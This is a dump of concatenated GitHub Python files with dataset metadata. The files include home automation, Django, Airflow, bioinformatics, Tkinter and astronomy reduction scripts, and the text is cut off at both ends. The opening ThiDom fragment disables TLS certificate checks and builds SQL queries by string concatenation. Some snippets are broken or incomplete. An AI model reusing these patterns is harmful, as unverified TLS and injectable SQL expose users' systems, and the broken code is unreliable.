RAZ)+\" SECOND) where ID =\"+str(cmd_device_id))\n elif Request != \"\":\n context = ssl._create_unverified_context()\n Request = json.loads(Request)\n url = \"https://127.0.0.1/ThiDom/Core/\"+Request[\"url_ajax\"]\n data = Request[\"data\"]\n postData = []\n\n if data != \"\":\n tbData = data.split(\"&\")\n for x in tbData:\n postData.append(x.split(\"=\"))\n\n if Device_Id:\n postData.append([\"Device_id\", str(Device_Id)])\n \n if cmd_device_id:\n postData.append([\"cmd_device_id\", str(cmd_device_id)])\n\n try:\n full_url = requests.post(url, data=postData, verify=False)\n UpdateDateRaz(cmd_device_id)\n except requests.exceptions.RequestException as e:\n print (time.strftime('%A %d. %B %Y %H:%M', time.localtime()) + \" Error planning Exec url :\" + url + \" error : \" + str(e))\n pass\n #elif RAZ != \"NULL\" and New_Status == 0:\n # else:\n # Action(New_Status, DeviceID, CarteID, Nom, WidgetName, Lieux, Device_Id, sensor_attach_value, Value, Etat)\n # cursor.execute(\" update cmd_device set cmd_device.Etat ='0', cmd_device.Value ='0' where ID =\"+str(cmd_device_id))\n DbConnect.commit()\n time.sleep(0.5)\n except KeyboardInterrupt:\n print (\"Bye\")\n sys.exit()\n","repo_name":"tguillaume02/ThiDom","sub_path":"Script_domotique/planning.py","file_name":"planning.py","file_ext":"py","file_size_in_byte":10110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73661571572","text":"'''\n문서 검색\n'''\n\nstring = input()\ntarget = input()\nanswer = 0\n\nwhile target in string:\n string = string[string.find(target)+len(target):]\n answer += 1\n \nprint(answer)\n\n# document = input()\n# word = input()\n# index = 0\n# result = 0\n# while len(document) - index >= len(word):\n# if document[index:index + len(word)] == word:\n# result += 1\n# index += len(word)\n# else:\n# index += 1\n# print(result)\n","repo_name":"cotton-han/Algorithm","sub_path":"유형별/기본탐색/1543.py","file_name":"1543.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"34463874203","text":"from django.shortcuts import render, redirect\n#from django.http import HttpResponse\nfrom .forms import ComboForm\nfrom .models import Combo\n#from giftcombo.comboFindercode import *\n\ndef upload_file(request):\n\tif request.method == 'POST':\n\t\tform = ComboForm(request.POST, request.FILES)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\treturn redirect(file_download)\n\telse:\n\t form = ComboForm()\n\treturn render(request, 'upload_file.html', {\n\t\t'form': form\n\t\t})\n\ndef file_download(request):\n\tcombos = Combo.objects.all()\n\treturn render(request, 'file_download.html', {\n\t\t'combos' : combos\n\t\t})","repo_name":"khushgrover/gift-combo-finder","sub_path":"giftcombo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18929277537","text":"import file_transfer\nimport configs as cfg\n\n\nfile_name = 'requirements.txt'\nbucket_name = 'phil-nas-backup-bucket'\nS3_file_name = f'{file_name}-uploaded'\ndirName = 'C:/Users/phil_/Downloads'\n \n# Get the list of all files in directory tree at given path\nlistOfFiles = getListOfFiles(dirName)\nprint(listOfFiles)\n\n\n#not working due to what I modified in \"file_transfer.py\" s3.client vs s3.resource\nfile_transfer.upload_with_default_configuration(file_name,bucket_name,S3_file_name,1)\n\nuploaded = upload_to_aws(file_name, bucket_name, S3_file_name)\n\n","repo_name":"PhilMcDaniel/AWS-S3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21167483968","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('create_painting/',views.PaintingCreateView.as_view(),name='create_painting'),\n path('painting/<int:pk>',views.PaintingDetailView.as_view(),name='painting_detail'),\n path('sonic/',views.sonic,name='sonic'),\n path('signup/',views.SignUpView.as_view(),name='signup'),\n path('profile',views.CheckedOutBooksByUserView.as_view(),name='profile')\n]","repo_name":"zvallarino/DjangoModels","sub_path":"paintings/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17315183475","text":"from functools import reduce\nfrom decimal import Decimal\ndef add(arg1=None):\n if arg1==\"\":\n return \"0\"\n\n string_with_commas = arg1.replace('\\n', ',')\n double_comma = string_with_commas.find(\",,\")\n list_args = string_with_commas.split(',')\n if not double_comma == -1:\n return f\"Number expected but '{arg1[double_comma+1]}' found at position {double_comma+1}.\"\n\n list_dec = [Decimal(u) for u in list_args]\n return str(sum(list_dec))\n \n\n\n","repo_name":"Spendesk/code-dojos","sub_path":"src/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32971927493","text":"from .assertions import *\n\n\nclass ModelAPICreateTestMixin:\n \"\"\"Test mixing for model creating endpoints. \"\"\"\n\n def create_data(self):\n \"\"\"must be overridden with the desired data which will be sent\n in the body of the http request to test creating an entity.\n\n :return dict.\n \"\"\"\n return {}\n\n def test_create_resource(self):\n # mock\n obj_data = self.create_data()\n\n obj_data.update({\n f'{key}_id': val.id for key, val\n in self.requirements.items()\n })\n\n # act\n response = self.client.post(self.base_uri, obj_data, format='json')\n\n # assert\n assert_object_created(self.MODEL, response)\n\n # load created entity\n entity = self.MODEL.objects.get(pk=response.json()['id'])\n\n # let the user create it's own assertions\n self.assert_after_create(entity)\n\n def assert_after_create(self, entity):\n \"\"\"when overridden allows user to make custom assertions.\n runs after the entity is persisted in the database.\n \"\"\"\n pass\n\n\nclass ModelAPIUpdateTestMixin:\n \"\"\"Test mixing for model updating endpoints. \"\"\"\n\n def update_data(self):\n \"\"\"must be overridden with the desired data which will be sent\n in the body of the http request to test updating an entity.\n\n :return dict.\n \"\"\"\n return {}\n\n def test_update_resource(self):\n # mock\n # __import__('ipdb').set_trace()\n resource = self.build()\n update_data = self.update_data()\n obj_data = {\n **update_data,\n **{f'{k}_id': v.id for k, v in self.requirements.items()}\n }\n\n # act\n response = self.client.put(\n f'{self.base_uri}{resource.id}/', obj_data, format='json')\n\n # assert\n updated_resource = self.MODEL.objects.get(pk=resource.id)\n\n for key, val in update_data.items():\n if key not in self.NESTED_MODELS:\n assert_field_equality(updated_resource, key, val)\n\n\nclass ModelAPIQueryTestMixin:\n \"\"\"Test mixing for model querying endpoints. \"\"\"\n\n def test_get_resources(self):\n # mock\n resource = self.build()\n\n # act\n response = self.client.get(self.base_uri)\n\n # assert\n assert_response_contains_object(resource, response)\n\n def test_get_resource_by_key(self):\n # mock\n resource = self.build()\n\n # act\n response = self.client.get(f'{self.base_uri}{resource.id}/')\n\n # assert\n assert_response_contains_object(resource, response, is_array=False)\n\n","repo_name":"Forked-ONS/domain_schema","sub_path":"core/utils/testing/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30656085054","text":"# Exercise 17 of \"Learn Python3 the Hard Way\"\n# More Files\n#\n# use exist() to check if file alrady there.\n# \"w\" overwrite only; \"a+\" append and read\n# len() # length of a string\n\nfrom sys import argv\nfrom os.path import exists\n\nscript, from_file, to_file = argv\n\nprint(f\"Copying from {from_file} to {to_file}\")\n\n# we could do these two on one line, how?\nin_file = open(from_file)\nindata = in_file.read()\n# indata = open(from_file).read()\n\nprint(f\"The input file is {len(indata)} bytes long.\")\n\nprint(f\"Does the output file exist? {exists(to_file)}\")\nprint(\"Ready, hit RETURN to continue, CTRL-C to abort.\")\ninput()\n\n# out_file = open(to_file, \"w\")\nout_file = open(to_file, \"a+\")\nout_file.write(indata)\n\nprint(\"Allrihgt, all done.\")\n\nout_file.close()\nin_file.close()\n","repo_name":"TomFoxLee/Python543","sub_path":"LPY3THW/ex17.py","file_name":"ex17.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6403031523","text":"import json\nimport matplotlib.pyplot as plt\nimport numpy as np\n\na = json.load(open('error_stats_master50.json', 'r'))\n\n# Plot yaw errors\nyaw_values = np.array(a['yaw_value'])\nyaw_errors = np.array(a['yaw_error'])\nyaw_values_bin = yaw_values // 3\n\nplt.scatter(yaw_values, yaw_errors, s = 1)\nplt.show()\n\n# Plot pitch errors\npitch_values = np.array(a['pitch_value'])\npitch_errors = np.array(a['pitch_error'])\npitch_values_bin = pitch_values // 3\n\nplt.scatter(pitch_values, pitch_errors, s = 1)\nplt.show()\n\n# Plot roll errors\nroll_values = np.array(a['roll_value'])\nroll_errors = np.array(a['roll_error'])\nroll_values_bin = roll_values // 3\n\nplt.scatter(roll_values, roll_errors, s = 1)\nplt.show()\n\n# idx_yaw = [i for i in range(len(yaw_values)) if abs(yaw_values[i]) <= 30]\n# print(np.mean(yaw_errors[idx_yaw]))\n#\n# idx_pitch = [i for i in range(len(pitch_values)) if abs(pitch_values[i]) <= 30]\n# print(np.mean(pitch_errors[idx_pitch]))\n#\n# idx_roll = [i for i in range(len(roll_values)) if abs(roll_values[i]) <= 30]\n# print(np.mean(roll_errors[idx_roll]))\n","repo_name":"zivic91/deep-head-pose-v2","sub_path":"analysis/analyze_errors.py","file_name":"analyze_errors.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"12095887169","text":"## this tool is the core function of cnv and snv analysis\r\n## author: taozhou\r\n## email: zhou.tao@genecast.com.cn\r\n\r\nimport matplotlib as mpl\r\nmpl.use('Agg')\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\nimport itertools\r\nimport seaborn as sns\r\nimport matplotlib.pylab as plt\r\nimport matplotlib.colors as mc\r\nfrom genecast_package.svm_analysis import feature_select, evaluate_model\r\nfrom sklearn.decomposition import PCA\r\nfrom collections import OrderedDict\r\nfrom collections import defaultdict\r\nimport datetime\r\nimport pandas as pd\r\nimport os\r\nimport sh\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\ndef z_score(data, axis):\r\n if axis == 1:\r\n z_scored = data\r\n else:\r\n z_scored = data.T\r\n z_scored = (z_scored - z_scored.mean()) / z_scored.std()\r\n\r\n if axis == 1:\r\n return z_scored\r\n else:\r\n return z_scored.T\r\n\r\n\r\ndef pheatmap(data, length, col_cluster=True, xticklabels=True, yticklabels=True, save=\"pdf\", color=None, name=None):\r\n data = z_score(data, axis=0)\r\n if len(data.columns) > 30:\r\n xticklabels = False\r\n if len(data) > 80:\r\n yticklabels = False\r\n vmin, vmax = data.unstack().quantile([.01, .99])\r\n re = sns.clustermap(data, cmap=\"bwr\", row_cluster=True, col_cluster=col_cluster, figsize=(13, 10), \\\r\n xticklabels=True, yticklabels=yticklabels, vmin=vmin, vmax=vmax, col_colors=color)\r\n re.ax_heatmap.set_xticklabels(re.ax_heatmap.xaxis.get_majorticklabels(), rotation=90)\r\n re.ax_heatmap.set_yticklabels(re.ax_heatmap.yaxis.get_majorticklabels(), rotation=0)\r\n if col_cluster == False:\r\n for group, number in length.items():\r\n re.ax_col_colors.text((number[0] + number[1])/2 - len(group)/2, 1.1, group, size=30)\r\n re.savefig(name + \".\" + save)\r\n else:\r\n re.savefig(name + \"_col_cluster.\" + save)\r\n plt.close()\r\n\r\n\r\ndef make_col_color_heatmap(group_dic):\r\n common_color = [\"blue\", \"red\", \"green\", \"grey\"]\r\n color = {}; length = {}\r\n temp = 0\r\n i = 0\r\n for name, group in group_dic.items():\r\n length[name] = [temp, temp + len(group)]\r\n temp += len(group)\r\n for sample in group:\r\n color[sample] = common_color[i]\r\n i += 1\r\n color = pd.Series(color)\r\n color.name = \"group\"\r\n return color, length\r\n\r\n\r\ndef pca(data, group_dic, n=None):\r\n pca = PCA(n_components=2)\r\n group = []\r\n length = OrderedDict()\r\n temp = 0\r\n for name, g in group_dic.items():\r\n length[name] = [temp, temp + len(g)]\r\n temp += len(g)\r\n group += g\r\n data = data[group]\r\n newData = pca.fit_transform(data.T)\r\n colors = [\"blue\", \"red\", \"green\", 'turquoise', \"grey\"]\r\n i = 0\r\n for name, number in length.items():\r\n plt.scatter(newData[number[0]:number[1], 0], newData[number[0]:number[1], 1], label=name, color=colors[i])\r\n i += 1\r\n plt.title(\"PCA analysis\")\r\n pc1 = 100*pca.explained_variance_ratio_[0]\r\n pc2 = 100*pca.explained_variance_ratio_[1]\r\n plt.xlabel(\"PC1(%.1f)\" % pc1)\r\n plt.ylabel(\"PC1(%.1f)\" % pc2)\r\n plt.legend()\r\n plt.savefig(\"PCA_%s.png\" % n)\r\n plt.close()\r\n\r\n\r\ndef plot_box(data, which, outname, palette, regulation, group):\r\n fig, ax1 = plt.subplots(figsize=(8,12))\r\n box_data = defaultdict(list)\r\n if which == \"cnv\":\r\n how = \"mean\"\r\n for name, g in group.items():\r\n box_data[name] = data[g].mean(0)\r\n else:\r\n how = \"sum\"\r\n for name, g in group.items():\r\n box_data[name] = data[g].sum(0)\r\n data.to_csv(outname + \"_box_data_%s_%s\" % (regulation, how) + \".txt\", sep=\"\\t\")\r\n sns.boxplot(data=pd.DataFrame(box_data), ax=ax1, width=0.2, linewidth=.5, palette=palette)\r\n ax1.set_title(outname)\r\n ax1.set_ylabel('%s value(%s)' % (which, how))\r\n fig.autofmt_xdate(ha='center', rotation=0)\r\n fig.savefig(r'%s_box_data_%s_%s_Boxplot.png' % (outname, regulation, how), dpi=600, size=0.5)\r\n plt.close()\r\n\r\n\r\ndef databox(raw, which, outname=None, group=None):\r\n palette = {}\r\n up = []; down = []\r\n group1_data = raw[list(group.values())[0]]\r\n group2_data = raw[list(group.values())[1]]\r\n color = [\"red\", \"green\", \"blue\"]\r\n for gene in raw.index:\r\n if group1_data.ix[gene].sum() - group2_data.ix[gene].sum() >= 0:\r\n up.append(gene)\r\n else:\r\n down.append(gene)\r\n for i, (name, g) in enumerate(group.items()):\r\n palette[name] = color[i]\r\n plot_box(raw.ix[up], which, outname, palette, \"up\", group)\r\n plot_box(raw.ix[down], which, outname, palette, \"down\", group)\r\n\r\n\r\ndef save_data_pdf(data, name, length, color, group_dic, which):\r\n data.to_csv(\"%s.txt\" % name, sep=\"\\t\")\r\n length = {key.split(\"/\")[-1]: value for key, value in length.items()}\r\n group_dic = {key.split(\"/\")[-1]: value for key, value in group_dic.items()}\r\n pheatmap(data, length, col_cluster=True, color=color, name=name, save=\"png\")\r\n pheatmap(data, length, col_cluster=False, color=color, name=name, save=\"png\")\r\n pca(data, group_dic, n=name)\r\n databox(data, which, outname=name, group=group_dic)\r\n\r\n\r\ndef save_parameters(args=None, which=\"cnv\"):\r\n pass\r\n\r\n\r\ndef make_result_folder(args=None, which=\"cnv\", fun=None):\r\n feature_genes = []; gene_lists = {}; color_length = {}\r\n os.chdir(args.outdir)\r\n i = datetime.datetime.now()\r\n for two_group in itertools.combinations([args.group1, args.group2], 2):\r\n target = two_group[0].split(\"/\")[-1] + \"_VS_\" + two_group[1].split(\"/\")[-1] + \"_%s%s%s_%s%s\" % (i.year, i.month, i.day, i.hour, i.minute)\r\n try:\r\n os.mkdir(target)\r\n except FileExistsError:\r\n sh.rm(\"-rf\",target)\r\n os.mkdir(target)\r\n if which == \"cnv\":\r\n name = \"cnv_median_\" + args.data_type\r\n gene_list, a_group, b_group = fun(args.host_gene, two_group[0], two_group[1], data_type=args.data_type)\r\n else:\r\n if args.cal_type == \"num\":\r\n name = \"snv_number\"\r\n else:\r\n name = \"snv_mean\"\r\n gene_list, a_group, b_group = fun(args.host_gene, two_group[0], two_group[1], args.cal_type, which)\r\n feature_gene = feature_select(gene_list, a_group, b_group, pval=args.pval, method=args.feature_selection_method,\\\r\n criterion=args.criterion, penalty=args.penalty, C=args.C, threshold=args.threshold)\r\n feature_genes.append(feature_gene)\r\n gene_lists[two_group[0]] = gene_list[a_group]; gene_lists[two_group[1]] = gene_list[b_group]\r\n os.chdir(target)\r\n save_parameters(args=args, which=which)\r\n group_dic = {two_group[0]: a_group, two_group[1]: b_group}\r\n color_length[two_group[0]] = a_group; color_length[two_group[1]] = b_group\r\n color, length = make_col_color_heatmap(group_dic)\r\n save_data_pdf(gene_list, \"host_gene_%s\" % name, length, color, group_dic, which)\r\n pd.DataFrame({\"gene\":feature_gene}).to_csv(\"feature_gene_pval%0.2f.txt\" % args.pval, sep=\"\\t\", index=False)\r\n feature_gene_cnv = gene_list.ix[feature_gene]\r\n evaluate_model(gene_list, a_group, b_group, feature_gene, name=\"feature_gene_%s\" % name, method=args.prediction_method, C=args.C, n_folds=args.n_folds)\r\n save_data_pdf(feature_gene_cnv, \"feature_gene_%s\" % name, length, color, group_dic, which)\r\n os.chdir(args.outdir)\r\n if len([args.group1, args.group2]) > 2:\r\n try:\r\n os.mkdir(\"intersection\")\r\n except FileExistsError:\r\n pass\r\n os.chdir(\"intersection\")\r\n color, length = make_col_color_heatmap(color_length)\r\n intersection_feature_gene = list(set(feature_genes[0]).intersection(*feature_genes[1:]))\r\n intersection_feature_gene_cnv = pd.concat([data.ix[intersection_feature_gene] for [args.group1, args.group2], data in gene_lists.items()], axis=1)\r\n try:\r\n save_data_pdf(intersection_feature_gene_cnv, \"intersection\", length, color, color_length)\r\n except Exception:\r\n print(\"no intersection\\njob finish...\")\r\n os.chdir(args.outdir)","repo_name":"861934367/genecast","sub_path":"build/lib/genecast_package/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":8150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8125162022","text":"import datetime as dt\nfrom airflow import DAG, models\nfrom airflow.contrib.operators import dataproc_operator as dpo\nfrom airflow.utils import trigger_rule\n\nMAIN_JAR = 'file:///usr/lib/spark/examples/jars/spark-examples.jar'\nMAIN_CLASS = 'org.apache.spark.examples.SparkPi'\nCLUSTER_NAME = 'quickspark-cluster-{{ ds_nodash }}'\n\nyesterday = dt.datetime.combine(\n dt.datetime.today() - dt.timedelta(1),\n dt.datetime.min.time())\n\ndefault_dag_args = {\n 'start_date': yesterday,\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': dt.timedelta(seconds=30),\n 'project_id': models.Variable.get('gcp_project')\n}\n\nwith DAG('dataproc_spark_submit', schedule_interval='0 17 * * *',\n default_args=default_dag_args) as dag:\n\n create_dataproc_cluster = dpo.DataprocClusterCreateOperator(\n project_id = default_dag_args['project_id'],\n task_id = 'create_dataproc_cluster',\n cluster_name = CLUSTER_NAME,\n num_workers = 2,\n zone = models.Variable.get('gce_zone')\n )\n\n run_spark_job = dpo.DataProcSparkOperator(\n task_id = 'run_spark_job',\n #main_jar = MAIN_JAR,\n main_class = MAIN_CLASS,\n cluster_name = CLUSTER_NAME\n )\n\n delete_dataproc_cluster = dpo.DataprocClusterDeleteOperator(\n project_id = default_dag_args['project_id'],\n task_id = 'delete_dataproc_cluster',\n cluster_name = CLUSTER_NAME,\n trigger_rule = trigger_rule.TriggerRule.ALL_DONE\n )\n\n create_dataproc_cluster >> run_spark_job >> delete_dataproc_cluster","repo_name":"sanjeevkanabargi/python","sub_path":"airflow/code/sparkjob.py","file_name":"sparkjob.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26451300813","text":"# -*- coding: utf-8 -*-\n\n\nclass Variant(dict):\n \"\"\"Represent a Variant.\n\n snv/indels and svs differ quite a lot, we are here representing them with the same object.\n snv/indels will miss some of the information\n \"\"\"\n\n def __init__(\n self,\n chrom,\n pos,\n end,\n ref,\n alt,\n variant_id=None,\n end_chrom=None,\n sv_type=None,\n sv_len=None,\n case_id=None,\n observations=0,\n homozygote=0,\n hemizygote=0,\n is_sv=False,\n id_column=None,\n ):\n super(Variant, self).__init__(\n _id=variant_id,\n variant_id=variant_id,\n chrom=chrom,\n pos=pos,\n end=end,\n ref=ref,\n alt=alt,\n end_chrom=end_chrom,\n sv_type=sv_type,\n sv_len=sv_len,\n case_id=case_id,\n observations=observations,\n homozygote=homozygote,\n hemizygote=hemizygote,\n is_sv=is_sv,\n id_column=id_column,\n )\n","repo_name":"Clinical-Genomics/loqusdb","sub_path":"loqusdb/models/variant.py","file_name":"variant.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"41455655440","text":"\r\n'''\r\n#Message Box:\r\nfrom tkinter.ttk import Frame, Button\r\nfrom tkinter import Tk, BOTH\r\nimport tkinter.messagebox as mbox\r\n\r\nclass Example(Frame):\r\n def __init__(self, parent):\r\n Frame.__init__(self, parent)\r\n self.parent = parent\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.parent.title(\"Message Boxes\")\r\n self.pack()\r\n\r\n error = Button(self, text=\"Error\", command=self.onError)\r\n error.grid(padx=5, pady=5)\r\n warning = Button(self, text=\"Warning\", command=self.onWarn)\r\n warning.grid(row=1, column=0)\r\n question = Button(self, text=\"Question\", command=self.onQuest)\r\n question.grid(row=0, column=1)\r\n inform = Button(self, text=\"Information\", command=self.onInfo)\r\n inform.grid(row=1, column=1)\r\n\r\n def onError(self):\r\n mbox.showerror(\"Error\", \"Could not open file\")\r\n\r\n def onWarn(self):\r\n mbox.showwarning(\"Warning\", \"Deprecated function call\")\r\n\r\n def onQuest(self):\r\n mbox.askquestion(\"Question\", \"Are you sure to quit?\")\r\n\r\n def onInfo(self):\r\n mbox.showinfo(\"Information\", \"Download completed\")\r\n\r\nroot = Tk()\r\nex = Example(root)\r\nroot.geometry(\"300x150+300+300\")\r\nroot.mainloop()\r\n'''\r\n'''\r\n#Color chooser:\r\nfrom tkinter import Tk, Frame, Button, BOTH, SUNKEN\r\nfrom tkinter.colorchooser import askcolor\r\n\r\nclass Example(Frame):\r\n def __init__(self, parent):\r\n Frame.__init__(self, parent)\r\n \r\n self.parent = parent\r\n self.initUI()\r\n \r\n def initUI(self):\r\n self.parent.title(\"Color Chooser\")\r\n self.pack(fill=BOTH, expand =1 )\r\n \r\n self.btn = Button(self, text=\"Choose Color\", command=self.onChoose)\r\n self.btn.place(x=30, y=30)\r\n \r\n self.frame = Frame(self, border = 1, relief = SUNKEN, width = 100 , height = 100)\r\n self.frame.place(x=160, y=30)\r\n \r\n def onChoose(self):\r\n (rgb, hx) = askcolor()\r\n self.frame.config(bg = hx)\r\n \r\nroot = Tk()\r\nex = Example(root)\r\nroot.geometry(\"300x150+300+300\")\r\nroot.mainloop()\r\n'''\r\n#File Dialog:\r\n\r\nfrom tkinter import Frame, Tk, BOTH, Text, Menu, END\r\nfrom tkinter.filedialog import Open\r\n\r\nclass Example(Frame):\r\n def __init__(self, parent):\r\n Frame.__init__(self, parent)\r\n self.parent = parent\r\n self.initUI()\r\n\r\n def initUI(self):\r\n self.parent.title(\"File dialog\")\r\n self.pack(fill=BOTH, expand=1)\r\n\r\n menubar = Menu(self.parent)\r\n self.parent.config(menu=menubar)\r\n\r\n fileMenu = Menu(menubar)\r\n fileMenu.add_command(label=\"Open\", command=self.onOpen)\r\n menubar.add_cascade(label=\"File\", menu=fileMenu)\r\n\r\n self.txt = Text(self)\r\n self.txt.pack(fill=BOTH, expand=1)\r\n\r\n def onOpen(self):\r\n ftypes = [('Python files', '*.py'), ('All files', '*')]\r\n dlg = Open(self, filetypes = ftypes)\r\n fl = dlg.show()\r\n if fl != '':\r\n text = self.readFile(fl)\r\n self.txt.insert(END, text)\r\n \r\n def readFile(self, filename):\r\n f = open(filename, \"r\")\r\n text = f.read()\r\n return text\r\n\r\nroot = Tk()\r\nex = Example(root)\r\nroot.geometry(\"300x250+300+300\")\r\nroot.mainloop() ","repo_name":"KEROTAR0/python","sub_path":"python - lab4/1-5 MessageBox.py","file_name":"1-5 MessageBox.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1910433595","text":"import pylab as plt\nimport numpy as np\nfrom astropy.io import fits\nfrom astropy import table\nfrom astropy import units\nimport glob\nfrom imaka.reduce import reduce_fli\nfrom imaka.reduce import calib\nimport pdb\nimport os\nfrom flystar import match\n\ndef make_sky():\n sky_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/skies/binned/'\n sky_frames = [133, 145, 146, 163, 172, 179, 188]\n\n for ss in range(len(sky_frames)):\n sky_frames[ss] = '{0:s}sky_{1:03d}.fits'.format(sky_dir, sky_frames[ss])\n\n calib.makedark(sky_frames, 'pleiades_sky.fits')\n \ndef make_twilight_flats():\n twilights = ['twi_1001.fits', 'twi_2002.fits', 'twi_3003.fits',\n 'twi_4004.fits', 'twi_5005.fits', 'twi_6006.fits', 'twi_7007.fits',\n 'twi_8008.fits', 'twi_9009.fits', 'twi_10010.fits', 'twi_11011.fits',\n 'twi_12012.fits', 'twi_13013.fits', 'twi_14014.fits', 'twi_15015.fits',\n 'twi_16016.fits', 'twi_17017.fits', 'twi_18018.fits', 'twi_19019.fits',\n 'twi_20020.fits', 'twi_21021.fits', 'twi_22022.fits', 'twi_23023.fits',\n 'twi_24024.fits', 'twi_25025.fits', 'twi_26026.fits', 'twi_27027.fits',\n 'twi_28028.fits', 'twi_29029.fits', 'twi_30030.fits', 'twi_31031.fits']\n\n twi_darks = ['dark_1001002.fits', 'dark_2002013.fits', 'dark_3003024.fits',\n 'dark_4004035.fits', 'dark_5005044.fits', 'dark_6006045.fits', 'dark_7007046.fits',\n 'dark_8008047.fits', 'dark_9009048.fits', 'dark_10010001.fits', 'dark_11011003.fits',\n 'dark_12012004.fits', 'dark_13013005.fits', 'dark_14014006.fits', 'dark_15015007.fits',\n 'dark_16016008.fits', 'dark_17017009.fits', 'dark_18018010.fits', 'dark_19019011.fits',\n 'dark_20020012.fits', 'dark_21021014.fits', 'dark_22022015.fits', 'dark_23023016.fits',\n 'dark_24024017.fits', 'dark_25025018.fits', 'dark_26026019.fits', 'dark_27027020.fits',\n 'dark_28028021.fits', 'dark_29029022.fits', 'dark_30030023.fits', 'dark_31031025.fits']\n\n twilight_root = '/Users/jlu/data/imaka/2016_11_19/20161118/twilight/'\n twi_dark_root = '/Users/jlu/data/imaka/2016_11_19/20161118/darks/darks_for_twis/'\n\n for tt in range(len(twilights)):\n twilights[tt] = twilight_root + twilights[tt]\n twi_darks[tt] = twi_dark_root + twi_darks[tt]\n \n calib.makeflat(twilights, twi_darks, twilight_root + 'flat_r.fits')\n \n return\n\n \ndef reduce_pleiades_binned_open():\n sky_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/skies/binned/'\n data_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/Pleiades_E/open_loop/'\n os.chdir(data_dir)\n\n fnum = [137, 139, 142, 144, 148, 150, 152]\n img_files = ['obj_{0:03d}.fits'.format(ii) for ii in fnum]\n\n reduce_fli.clean_images(img_files, rebin=1, sky_frame=sky_dir + 'pleiades_sky.fits')\n\n return\n \n\ndef reduce_pleiades_binned_closed():\n sky_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/skies/binned/'\n data_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/Pleiades_E/closed_loop/'\n os.chdir(data_dir)\n\n fnum = [138, 141, 143, 147, 149, 151]\n img_files = ['obj_{0:03d}.fits'.format(ii) for ii in fnum]\n\n reduce_fli.clean_images(img_files, rebin=1, sky_frame=sky_dir + 'pleiades_sky.fits')\n\n return\n \ndef find_stars_pleiades_binned_open():\n data_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/Pleiades_E/open_loop/'\n os.chdir(data_dir)\n \n fnum = [137, 139, 142, 144, 148, 150, 152]\n img_files = ['obj_{0:03d}_bin_nobkg.fits'.format(ii) for ii in fnum]\n\n reduce_fli.find_stars_bin(img_files, fwhm=2, threshold=6)\n\n return\n \ndef find_stars_pleiades_binned_closed():\n data_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/Pleiades_E/closed_loop/'\n os.chdir(data_dir)\n \n fnum = [138, 141, 143, 147, 149, 151]\n img_files = ['obj_{0:03d}_bin_nobkg.fits'.format(ii) for ii in fnum]\n\n reduce_fli.find_stars_bin(img_files, fwhm=2, threshold=6)\n\n return\n\n\ndef compare_fwhm_list():\n data_dir = '/Users/jlu/data/imaka/2016_11_19/20161118/Pleiades_E/'\n os.chdir(data_dir)\n \n # o_list = np.arange(163, 173) # Open loop star lists\n # c_list = np.arange(153, 163) # Closed loop star lists\n # o_list = np.arange(163, 173) # Open loop star lists\n # c_list = np.arange(153, 163) # Closed loop star lists\n o_list = [137, 139, 142, 144, 148, 150]\n c_list = [138, 141, 143, 147, 149, 151]\n \n plt.ion()\n\n for ii in range(len(o_list)):\n open_list = 'open_loop/obj_{0:03d}_bin_nobkg_stars.txt'.format(o_list[ii])\n closed_list = 'closed_loop/obj_{0:03d}_bin_nobkg_stars.txt'.format(c_list[ii])\n\n compare_fwhm(open_list, closed_list, scale=3*0.04, flux_min=5)\n pdb.set_trace()\n\ndef compare_fwhm(open_list, closed_list, scale=0.04, flux_min=2.0):\n topen = table.Table.read(open_list, format='ascii')\n tclose = table.Table.read(closed_list, format='ascii')\n\n # Trim out any stars with FWHM > 10\n idx_o = np.where(topen['x_fwhm'] < 10)[0]\n idx_c = np.where(tclose['x_fwhm'] < 10)[0]\n\n topen = topen[idx_o]\n tclose = tclose[idx_c]\n\n # Trim out any stars with 